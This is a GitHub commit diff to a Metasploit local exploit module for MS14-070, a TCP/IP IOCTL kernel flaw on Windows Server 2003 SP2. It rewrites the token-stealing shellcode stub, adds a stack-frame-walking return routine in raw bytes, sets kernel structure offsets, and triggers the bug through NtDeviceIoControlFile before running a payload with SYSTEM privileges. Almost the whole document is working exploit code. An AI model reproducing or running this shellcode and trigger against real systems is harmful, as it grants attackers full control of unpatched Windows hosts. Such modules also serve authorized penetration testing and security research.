Skip to content

Commit dabc163

Browse files
committed
Modify the shellcode stub to save the process
1 parent aebf505 commit dabc163

File tree

1 file changed

+32
-56
lines changed

1 file changed

+32
-56
lines changed

modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb

Lines changed: 32 additions & 56 deletions
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,14 @@ def initialize(info={})
3838
},
3939
'Targets' =>
4040
[
41-
['Windows Server 2003 SP2', {} ]
41+
['Windows Server 2003 SP2',
42+
{
43+
'_KPROCESS' => "\x38",
44+
'_TOKEN' => "\xd8",
45+
'_UPID' => "\x94",
46+
'_APLINKS' => "\x98"
47+
}
48+
]
4249
],
4350
'References' =>
4451
[
@@ -76,19 +83,6 @@ def check
7683
return Exploit::CheckCode::Safe
7784
end
7885

79-
def create_proc
80-
windir = session.sys.config.getenv('windir')
81-
cmd = "#{windir}\\System32\\notepad.exe"
82-
# run hidden
83-
begin
84-
proc = session.sys.process.execute(cmd, nil, 'Hidden' => true)
85-
rescue Rex::Post::Meterpreter::RequestError
86-
return nil
87-
end
88-
89-
proc.pid
90-
end
91-
9286
def exploit
9387
if is_system?
9488
fail_with(Exploit::Failure::None, 'Session is already elevated')
@@ -104,18 +98,6 @@ def exploit
10498
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system")
10599
end
106100

107-
p = payload.encoded
108-
new_pid = create_proc
109-
110-
unless new_pid
111-
fail_with(Failure::Unknown, 'Unable to create a new process.')
112-
end
113-
114-
print_status("Injecting #{p.length} bytes into #{new_pid} memory and executing it...")
115-
unless execute_shellcode(p, nil, new_pid)
116-
fail_with(Failure::Unknown, 'Error while executing the payload')
117-
end
118-
119101
handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
120102
if handle.nil?
121103
fail_with(Failure::NoTarget, "Unable to open \\\\.\\tcp device")
@@ -132,41 +114,34 @@ def exploit
132114

133115
buf = "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00"
134116

135-
sc = "\x60" # save registers
136-
sc << "\x64\xA1\x24\x01\x00\x00" # mov eax, [fs:0x124]
137-
sc << "\x8B\x40\x38" # mov eax, [eax+0x38]
138-
sc << "\x50" # push eax
139-
sc << "\xBB\x04\x00\x00\x00" # mov ebx, 0x4
140-
sc << "\x8B\x80\x98\x00\x00\x00" # mov eax, [eax+0x98]
141-
sc << "\x2D\x98\x00\x00\x00" # sub eax, 0x98
142-
sc << "\x39\x98\x94\x00\x00\x00" # cmp [eax+0x94], ebx
143-
sc << "\x75\xED" # jne 0x10
144-
sc << "\x8B\xB8\xD8\x00\x00\x00" # mov edi, [eax+0xd8]
145-
sc << "\x83\xE7\xF8" # and edi, 0xfffffff8
146-
sc << "\x58" # pop eax
147-
sc << "\xBB" # mov ebx, new_pid
148-
sc << [new_pid].pack('V')
149-
sc << "\x8B\x80\x98\x00\x00\x00" # mov eax, [eax+0x98]
150-
sc << "\x2D\x98\x00\x00\x00" # sub eax, 0x98
151-
sc << "\x39\x98\x94\x00\x00\x00" # cmp [eax+0x94], ebx
152-
sc << "\x75\xED" # jne 0x32
153-
sc << "\x89\xB8\xD8\x00\x00\x00" # mov [eax+0xd8], edi
154-
sc << "\x61" # restore registers
155-
sc << "\xBA\x39\xFF\xA2\xBA" # mov edx, 0xbaa2ff39
156-
sc << "\xB9\x00\x00\x00\x00" # mov ecx, 0x0
157-
sc << "\xB8\x3B\x00\x00\x00" # mov eax, 0x3b
158-
sc << "\x8E\xE0" # mov fs, eax
159-
sc << "\x0F\x35\x00" # sysexit
160-
161-
this_proc.memory.write(0x28, "\x87\xFF\xFF\x38")
117+
sc = token_stealing_shellcode(target)[0..-3]
118+
# move up the stack frames looking for nt!KiSystemServicePostCall
119+
sc << "\x31\xc9" # xor ecx, ecx
120+
sc << "\x89\xeb" # mov ebx, ebp
121+
# count_frames
122+
sc << "\x41" # inc ecx
123+
sc << "\xf7\x43\x04\x00\x00\x00\x80" # test dword [ebx+4], 0x80000000
124+
sc << "\x8b\x1b" # mov ebx, dword [ebx]
125+
sc << "\x75\xf4" # jne short count_frames
126+
sc << "\x49" # dec ecx
127+
# loop_frames
128+
sc << "\x49" # dec ecx
129+
sc << "\x89\xec" # mov esp, ebp
130+
sc << "\x5d" # pop ebp
131+
sc << "\x83\xf9\x00" # cmp ecx, 0
132+
sc << "\x75\xf7" # jne loop_frames
133+
sc << "\x31\xc0" # xor eax, eax
134+
sc << "\xc3"
135+
136+
this_proc.memory.write(0x28, "\x87\xff\xff\x38")
162137
this_proc.memory.write(0x38, "\x00\x00")
163138
this_proc.memory.write(0x1100, buf)
164139
this_proc.memory.write(0x2b, "\x00\x00")
165140
this_proc.memory.write(0x2000, sc)
166141

167142
print_status("Triggering the vulnerability...")
168143
session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x00120028, 0x1100, buf.length, 0, 0)
169-
session.railgun.kernel32.CloseHandle(handle)
144+
#session.railgun.kernel32.CloseHandle(handle) # CloseHandle will never return, so skip it
170145

171146
print_status("Checking privileges after exploitation...")
172147

@@ -175,8 +150,9 @@ def exploit
175150
end
176151

177152
print_good("Exploitation successful!")
178-
153+
unless execute_shellcode(payload.encoded, nil, this_proc.pid)
154+
fail_with(Failure::Unknown, 'Error while executing the payload')
155+
end
179156
end
180157

181158
end
182-

0 commit comments

Comments
 (0)